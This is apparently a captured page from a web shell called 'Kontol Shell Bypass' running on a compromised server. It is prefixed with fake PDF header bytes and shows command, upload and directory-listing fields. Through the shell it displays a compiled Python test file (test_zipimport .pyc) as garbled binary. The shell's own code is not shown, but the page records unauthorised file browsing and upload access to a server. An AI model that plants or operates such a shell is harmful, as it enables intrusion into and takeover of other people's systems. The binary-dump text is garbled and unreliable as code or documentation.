%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_zipimport.cpython-39.pyc
a

�_gu�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
ddlmZm
Z
mZmZddlZddlZddlZddlZddlZddlmZmZmZzddlZWney�dZYn0dZeedd�ZdZd	d
�Zdd�Z e��Z!eee!e"e��Z#d
Z$dZ%dZ&ej'�(d�Z)ej'�(d�Z*ej+�,e$d�Z-dZ.Gdd�dej/�Z0Gdd�de0�Z1e
�2�Gdd�de1��Z3Gdd�dej/�Z4dd�Z5e6dk�r�e5�dS)�N)�support)�ZipFile�ZipInfo�
ZIP_STORED�ZIP_DEFLATED)�
extract_tb�
extract_stack�print_tbzHdef get_name():
    return __name__
def get_file():
    return __file__
�<???>�execz def do_raise(): raise TypeError
cCsdt�|�}t|�td�ur<|dkr,t|�}ntdt|��}tjjt�ddt|�|d@�|}|S)Ngi���l����z<iiirl��)	�marshal�dumps�type�int�	importlib�util�MAGIC_NUMBER�struct�pack)�co�mtime�size�data�pyc�r�2/vddos/python/lib/python3.9/test/test_zipimport.py�make_pyc#s

��rcCs|�tjd�S)N�.)�replace�os�sep)�pathrrr�module_path_to_dotted_name/sr"Z
ziptestmoduleZziptestpackageZziptestpackage2Z	junk95142z
junk95142.zip�.py�.pycc@seZdZdd�Zdd�ZdS)�ImportHooksBaseTestCasecCsHtjdd�|_tjdd�|_tjdd�|_tj��t��|_dS�N)	�sysr!�	meta_path�
path_hooks�path_importer_cache�clearrZ
modules_setup�modules_before��selfrrr�setUpBs

zImportHooksBaseTestCase.setUpcCsJ|jtjdd�<|jtjdd�<|jtjdd�<tj��tj|j�dSr&)	r!r'r(r)r*r+rZmodules_cleanupr,r-rrr�tearDownIs

z ImportHooksBaseTestCase.tearDownN)�__name__�
__module__�__qualname__r/r0rrrrr%@sr%c@sxeZdZeZdd�Zefdd�Zefdd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zej�dd�dd��Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Z d1d2�Z!d3d4�Z"d5d6�Z#d7d8�Z$d9d:�Z%d;d<�Z&d=d>�Z'd?d@�Z(dAdB�Z)dCdD�Z*dEdF�Z+dGdH�Z,e�-e.j/dIudJ�dKdL��Z0dMdN�Z1dOdP�Z2dQdR�Z3dSdT�Z4dIS)U�UncompressedZipImportTestCasecCs t��tj��t�|�dSr&)�	linecache�
clearcache�	zipimport�_zip_directory_cacher+r%r/r-rrrr/Us
z#UncompressedZipImportTestCase.setUpc		Cs�|�tj|�|��D]�\}\}}tj�||�}|dtjkrVtj�|�s�t�	|�qtj�
|�}tj�|�sxt�	|�t|d��}|�|�Wd�q1s�0YqdS)N����wb)
�
addCleanupr�rmtree�itemsrr!�joinr �isdir�makedirs�dirname�open�write)	r.�filesZdirName�namerrr!Zdname�fprrr�makeTree\s
z&UncompressedZipImportTestCase.makeTreecKs|�tj|�t|d��d}|��D]0\}\}}t|t�|��}|j|_	|�
||�q"|�dd�}	|	durn|	|_Wd�n1s�0Y|�dd�}
|
du�rt
|d��}|��}Wd�n1s�0Yt
|d��$}|�|
�|�|�Wd�n1�s
0YdS)N�w�comment�stuff�rbr:)r;r�unlinkrr=r�time�	localtime�compression�
compress_type�writestr�getrIrB�readrC)r.rDZzipName�kw�zrErr�zinforIrJ�frrr�makeZipms $
&
z%UncompressedZipImportTestCase.makeZipcOsz|j|fi|��tj�dt�t�d�|��}|�d�}|durJ||�|rv|�	�}|�
|tjjtg|�R�|�dS)Nrr�call)rXr'r!�insert�TEMP_ZIPr�
import_moduler>rRZget_file�assertEqualr)r.Zexpected_extrD�modulesrT�modrY�filerrr�doTest�s
��z$UncompressedZipImportTestCase.doTestcCs�dtjvr|�d�dtjvr&tjd=dttfi}z|�d|d�Wn&tyj|jt	krf|�
d�Yn0|jtkr�|�
d�dS)N�zlibzzlib is a builtin modulezzlib.pyr#z&expected test to not raise ImportErrorz"expected test to raise ImportError)r'�builtin_module_namesZskipTestr^�NOW�test_srcra�ImportErrorrOr�failr�r.rDrrr�
testAFakeZlib�s




z+UncompressedZipImportTestCase.testAFakeZlibcCs"tdttfi}|�d|t�dS�Nr#��TESTMODrdrerarhrrr�testPy�sz$UncompressedZipImportTestCase.testPycCs"ttttfi}|�t|t�dSr&)rl�pyc_extrd�test_pycrarhrrr�testPyc�sz%UncompressedZipImportTestCase.testPyccCs.tdttfttttfi}|�t|t�dSrj)rlrdrernrorarhrrr�testBoth�s�z&UncompressedZipImportTestCase.testBothcsjd}tj�|�}tj�t|dd�|d�}tdtdftdtd|fi}�fd	d
�}�jd|t|d�dS)N�
state = 'old'�???rFr#�
state = 'new'r$�cs��|jd�dS)N�old�r]�state�r_r-rr�check�szFUncompressedZipImportTestCase.testUncheckedHashBasedPyc.<locals>.check�rY�	rr�source_hash�_bootstrap_external�_code_to_hash_pyc�compilerlrdra�r.�sourcer}�bytecoderDrzrr-r�testUncheckedHashBasedPyc�s
��z7UncompressedZipImportTestCase.testUncheckedHashBasedPycz_imp.check_hash_based_pycs�alwayscsjd}tj�|�}tj�t|dd�|d�}tdtdftdtd|fi}�fd	d
�}�jd|t|d�dS)NrrrsrFr#rtr$rucs��|jd�dS)N�newrwryr-rrrz�szOUncompressedZipImportTestCase.test_checked_hash_based_change_pyc.<locals>.checkr{r|r�rr-r�"test_checked_hash_based_change_pyc�s
��z@UncompressedZipImportTestCase.test_checked_hash_based_change_pyccCs"tdtdfi}|�d|t�dS)Nr#�)rlrdrarhrrr�testEmptyPy�sz)UncompressedZipImportTestCase.testEmptyPycCsFtt�}|ddN<tdttfttt|fi}|�d|t�dS)Nr�r#��	bytearrayrorlrdrernra�r.Zbadmagic_pycrDrrr�testBadMagic�s�z*UncompressedZipImportTestCase.testBadMagiccCs\tt�}|ddN<ttt|fi}z|�d|t�WntyLYn0|�d�dS)Nrr�r#z)expected ImportError; import from bad pyc)r�rorlrnrdrarfrgr�rrr�
testBadMagic2�sz+UncompressedZipImportTestCase.testBadMagic2cCsFtt�}|ddN<tdttfttt|fi}|�d|t�dS)N��r#r�)r.Zbadtime_pycrDrrr�testBadMTime�s�z*UncompressedZipImportTestCase.testBadMTimecCsBttj}|dtttf|ttttfi}|�t|tt�dS�N�__init__)�TESTPACKrr rnrdrorlra)r.�packdirrDrrr�testPackages

�z)UncompressedZipImportTestCase.testPackagecCsbttj}|ttj}|dtttf|dtttf|ttttfi}|�t|ttt�dSr�)	r�rr �	TESTPACK2rnrdrorlra�r.r��packdir2rDrrr�testSubPackages
�z,UncompressedZipImportTestCase.testSubPackagecCsRttj}|ttj}|tdf|tdf|ttttfi}|�t|ttt�dS�Nr�)	r�rr r�rdrlrnrorar�rrr�testSubNamespacePackages
�z5UncompressedZipImportTestCase.testSubNamespacePackagec
CsRttj}|ttj}|tdtj}|tdf|ttttf|tdf|tdf|ttttf|tdtttf|ttttfi}|tdf|tdtttf|tdf|tdtttf|ttttfi}tj�	d�}|�
||�t}|�||�t
j�d|�t
j�d|�t�t�}|�dt|j��|j\}	}
|�tj�t�|	�tj�d�|�d|
�tj�d�t�|�tjd�dd	��}|�d
t|j��t|j�d�dtj�d
}|�|dd	�|�t�d�ttf��}|�d|j�tj�d�t�d�ttdf��}|�tj�t�|j�tj�d�d�ttf�}t�|�}|�dt|j��|j\}	}
|�tj�t�|	�tj�d�|�d|
�tj�d�t�d�|tf��}|�tj�t�|j�tj�d�t�d�|tdf��}|�tj�t�|j�tj�d�t�d�|tdf��}|�d|j�tj�d�dS)
N�3r��2�	path1.ziprr����rr9�������)r�rr r�rdrlrnror!�abspathrX�TEMP_DIRrGr'rZrr\r]�len�__path__�basename�splitr�listr>�__file__)
r.r�r��packdir3�files1�files2�zip1�zip2r_�p1�p2�mpath�subpkgrrr�testMixedNamespacePackagesl
��

 �

 ��z7UncompressedZipImportTestCase.testMixedNamespacePackagec
Cs2ttj}|ttj}|tdtj}|tdf|ttttf|tdf|tdf|ttttf|tdtttf|ttttfi}tj�	d�}|�
||�|tdf|tdtttf|tdf|tdtttf|ttttfi}tj�	d�}|�
||�tj�d|�tj�d|�t
�t�}|�dt|j��|j\}	}
|�d|	�tj�d�|�d|
�tj�d�t
�|�tjd	�dd
��}|�dt|j��t|j�d�dtj�d}|�|dd
�|�t
�d	�ttf��}|�d|j�tj�d�t
�d	�ttdf��}|�d|j�tj�d�d	�ttf�}t
�|�}|�dt|j��|j\}	}
|�d|	�tj�d�|�d|
�tj�d�t
�d	�|tf��}|�d|j�tj�d
�t
�d	�|tdf��}|�d|j�tj�d
�t
�d	�|tdf��}|�d|j�tj�d
�dS)Nr�r�r�r�z	path2.ziprr�r�rr9r�r�r�)r�rr r�rdrlrnror!r�rXr'rZrr\r]r�r�r�rr�r>r�)
r.r�r�r�r�r�r�r�r_r�r�r�r�rrr�testNamespacePackagehs`
��



z2UncompressedZipImportTestCase.testNamespacePackagec	Cs�ttj}|ttj}|dtttf|dtttf|ttttfdtttfi}|�t	j
t�ttd��P}|�
�D]6\}\}}t|t�|��}|j|_d|_|�||�qzWd�n1s�0Yt�t�}	|�|	jt�|�|	�t�d�|	�d�}
|�|
�|�|
tj�|�|
�d��|
�d�}|�|
�d�|j �|	�t�}|�|	�t�|j �t!�"t�j#d}
tj$�%tt�}|�|
|�|�|	�|d�d�|�|	�|t�d�|�|	�|t�d�|t}t&|�}t!�"|�}|�'|t(j)v�|�|	�*t�d�|�|	�*|�d�|�|	�|�|j �|j+}|�|�*|�d�|�|�|�|j �t�ttjt�}|�|jt�|�|j,ttj�dS)Nr�ZspamrHsspamTrF)-r�rr r�rnrdrorlr;rrLr[rr=rrMrNrOrPrIrQr7�zipimporterr]�archive�
is_package�find_module�assertIsNotNone�assertIsInstance�assertFalse�load_module�get_filenamer�rr\r�r!r>r"�
assertTruer'r^�
get_source�
__loader__�prefix)r.r�r�rDrUrErrrV�ziZfind_mod�load_modr_Zexisting_pack_pathZexpected_path_path�mod_path�mod_name�loader�zi2rrr�testZipImporterMethods�sX
�,





z4UncompressedZipImportTestCase.testZipImporterMethodscCsPttj}|ttj}|dtttf|ttttfi}|�t	j
t�ttd��P}|�
�D]6\}\}}t|t�|��}|j|_d|_|�||�q^Wd�n1s�0Yt�ttj|�}	|�|	jt�|�|	j|�|�|	�t�d�|	�t�}
|�|	�t�|
j�|�|	�ttjd�d�|�|	�ttjt�d�ttj|t}t�|�}|�t�}
|�|
�|� |
tj�|�!|�t��|
�t�}|�|
�t�|j�ttjt}t"|�}t#�$|�}
|�%|t&j'v�|�|	�(t�d�|�|	�(|�d�|�|	�|�|
j�|
j)}|�|�(|�d�|�|�|�|
j�dS)Nr�rHseggsTF)*r�rr r�rnrdrorlr;rrLr[rr=rrMrNrOrPrIrQr7r�r]r�r�r�r�r�r�r�r�r�r�r"rr\r�r'r^r�r�)r.r�r�rDrUrErrrVr�r_Zpkg_pathr�Zfind_mod_dottedr�r�r�r�rrr�$testZipImporterMethodsInSubDirectory�sX
�,
��



�
zBUncompressedZipImportTestCase.testZipImporterMethodsInSubDirectorycCs�|�tjt�ttd��>}|j|_d}tdd�td�D��}|�||�Wd�n1s\0Yt	�
t�}|�||�|��|�
dt|��dS)NrHztestdata.datcss|]
}|VqdSr&r)�.0�xrrr�	<genexpr>�z<UncompressedZipImportTestCase.testGetData.<locals>.<genexpr>�zzipimporter object)r;rrLr[rrO�bytes�rangerQr7r�r]�get_dataZassertIn�repr)r.rUrErr�rrr�testGetDatas*
z)UncompressedZipImportTestCase.testGetDatacCsFd}tt|dd�tt|��}ttt|fdtdfi}|�t|t�dS)Nz�if 1:  # indent hack
        def get_file():
            return __file__
        if __loader__.get_data("some.data") != b"some data":
            raise AssertionError("bad data")
r
rz	some.dataz	some data)rr�rdr�rlrnra)r.�srcrrDrrr�testImporterAttr&s�z.UncompressedZipImportTestCase.testImporterAttrcCs\d}tdt|fi}|�|�tj�dt�t�t�}|�	|�
d�d�|�t|j
d�dS)Nz[if 1:  # indent hack
        def test(val):
            assert(val)
            return val
r#rr�F)
rlrdrXr'r!rZr[rr\r]�test�assertRaises�AssertionError)r.r�rDr_rrr�testDefaultOptimizationLevel1s

z:UncompressedZipImportTestCase.testDefaultOptimizationLevelcCs&tdttfi}|jd|tdd�dS)Nr#s6Some StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome StuffSome Stuff)rJrkrhrrr�testImport_WithStuff>s
�z2UncompressedZipImportTestCase.testImport_WithStuffcCs|�t�|�t�dSr&)r]�inspectZ	getsourcere)r.�modulerrr�assertModuleSourceEsz0UncompressedZipImportTestCase.assertModuleSourcecCs(tdttfi}|jd|t|jd�dS�Nr#r{)rlrdrerar�rhrrr�
testGetSourceHsz+UncompressedZipImportTestCase.testGetSourcecCsLtttdd�ttt��}tdttfttt|fi}|jt|t|jd�dS)Nr
rr#r{)	rr�rerdr�rlrnrar�)r.rrDrrr�testGetCompiledSourceLs
�z3UncompressedZipImportTestCase.testGetCompiledSourcecCs.tdttfdtdfi}|jd|t|d�dS)Nr#�xyz.txtz>>> log.append(True)
r{rk)r.�callbackrDrrr�
runDoctestRs�z(UncompressedZipImportTestCase.runDoctestcCsLg}tjd}t_ztjd|dt�d�W|t_n|t_0|�|dg�dS�Nr�T)�packageZmodule_relativeZglobs)�doctestZmasterZtestfile�localsr])r.r��logZ
old_masterrrr�
doDoctestFileWs�z+UncompressedZipImportTestCase.doDoctestFilecCs|�|j�dSr&)r�r�r-rrr�testDoctestFilecsz-UncompressedZipImportTestCase.testDoctestFilecCs.g}tjd|dt�d���|�|dg�dSr�)r�ZDocFileTestr��runr])r.r�r�rrr�doDoctestSuitefs�
z,UncompressedZipImportTestCase.doDoctestSuitecCs|�|j�dSr&)r�r�r-rrr�testDoctestSuitensz.UncompressedZipImportTestCase.testDoctestSuitecCs�z|��Wn�t��dj}t|d�d\}}}}|�|t���t|j	d�d\}}}}|�|t���t
��}t|d|�|�
|���t��Yn
0td��dS)Nr�r�rzThis ought to be impossible)Zdo_raiser'�exc_info�tb_nextrr]�	raise_src�stripr�tb_frame�io�StringIOr	r��getvalue�endswithr�)r.r��tbrW�lno�n�line�srrr�doTracebackqsz)UncompressedZipImportTestCase.doTracebackcCs(tdttfi}|jd|t|jd�dSr�)rlrdr�rar�rhrrr�
testTraceback�sz+UncompressedZipImportTestCase.testTracebackNzneed an unencodable filenamecCs~tjd}|�tj|�t|d��8}ttdt�t	��}|j
|_|�|t
�Wd�n1s`0Yt�|��t�dS�Nz.ziprHr#)r�TESTFN_UNENCODABLEr;rLrrrlrMrNrdrOrPrQrer7r�r��r.�filenamerUrVrrr�testUnencodable�s
*z-UncompressedZipImportTestCase.testUnencodablecCstjd}|�tj|�t|d��8}ttdt�t	��}|j
|_|�|t
�Wd�n1s`0Yt�|�t�t�|��|�t��$t�tt�|���Wd�n1s�0Y|�t��$t�tt�|���Wd�n1s�0YdSr)rZTESTFNr;rLrrrlrMrNrdrOrPrQrer7r�r�fsencoder��	TypeErrorr��
memoryviewrrrr�
testBytesPath�s
*
2z+UncompressedZipImportTestCase.testBytesPathcCs&tdttfi}|jd|tdd�dS)Nr#scomment�rIrkrhrrr�testComment�sz)UncompressedZipImportTestCase.testCommentcCs(tdttfi}|jd|tddd�dS)Nr#s@cruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftcruftshi)rJrIrkrhrrr�testBeginningCruftAndComment�sz:UncompressedZipImportTestCase.testBeginningCruftAndCommentcCs*tdttfi}|jd|tddd�dS)Nr#�ci��r
rkrhrrr�testLargestPossibleComment�sz8UncompressedZipImportTestCase.testLargestPossibleComment)5r1r2r3rrOr/r�rGr[rXrarirmrprqr��unittestZmockZpatchr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rZskipIfrrrr	rrrrrrrr4QsZ 
	
MI81
�
	r4c@seZdZeZdS)�CompressedZipImportTestCaseN)r1r2r3rrOrrrrr�src@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)�BadFileZipImportTestCasecCs|�tjtj|�dSr&)r�r7�ZipImportErrorr�)r.rrrr�assertZipFailure�s�z)BadFileZipImportTestCase.assertZipFailurecCs|�d�dS)NZAdfjdkFJKDFJjdklfjs�rr-rrr�
testNoFile�sz#BadFileZipImportTestCase.testNoFilecCs|�d�dSr�rr-rrr�testEmptyFilename�sz*BadFileZipImportTestCase.testEmptyFilenamecCsB|�ttjd�|jttjtdd�|�ttjtt�t���dS)N)Zkwd)r�rr7r�rlr�rrr-rrr�testBadArgs�s

�z$BadFileZipImportTestCase.testBadArgscCs|�dd�dS)N�Ai�rr-rrr�testFilenameTooLong�sz,BadFileZipImportTestCase.testFilenameTooLongcCs"t�t�t�t�|�t�dSr&)rrLrlZcreate_empty_filerr-rrr�
testEmptyFile�s

z&BadFileZipImportTestCase.testEmptyFilec
Cs�t�t�t�ttjd�}zZt�|�|�tj	��}t�
t�Wd�n1sR0YWt�td�t�t�nt�td�t�t�0dS)Nri�)rrLrlrrB�O_CREAT�closer�r7rr��chmod)r.�fd�cmrrr�testFileUnreadable�s

*�z+BadFileZipImportTestCase.testFileUnreadablecCs4t�t�ttd�}|�d�|��|�t�dS)N�w+Zaaaaaaaaaaaaaaaaaaaaaa)rrLrlrBrCrr)r.rFrrr�testNotZipFile�s



z'BadFileZipImportTestCase.testNotZipFilecCs*t�t�ttd�}|�t�dd��|�d�|��t�	t�}z�|�
t|jd�|�
t|j
d�|�
t|jd�|�
t|jd�|�
t|jd�|�
t|jd�tj}|�|�d�d�|�
||j
d�|�
||jd�|�
t|jd�|�
||jd�|�
||jd�Wtj��ntj��0dS)Nr!z=IiPKZaaaaaaaaaaaaaaaaaa�abc)rrLrlrBrCrrrr7r�r�rr�r�r��get_coder�r�rr]�OSErrorr8r+)r.rFrU�errorrrr�_testBogusZipFile�s*



z*BadFileZipImportTestCase._testBogusZipFileN)r1r2r3rrrrrrr r"r'rrrrr�src	Cs.zt�ttt�Wt�t�nt�t�0dSr&)rZrun_unittestr4rrrLrlrrrr�	test_main�s�r(�__main__)7r'rrr�importlib.utilrrMrZ
unittest.mockr�r�zipfilerrrrr7r5r�r�r��	tracebackrrr	rbrfrer�Ztest_cor�rr"rdr�rorlr�r�r!r�r�r[r�cache_from_sourceZpyc_filernZTestCaser%r4Z
requires_zlibrrr(r1rrrr�<module>s\
aK



Kontol Shell Bypass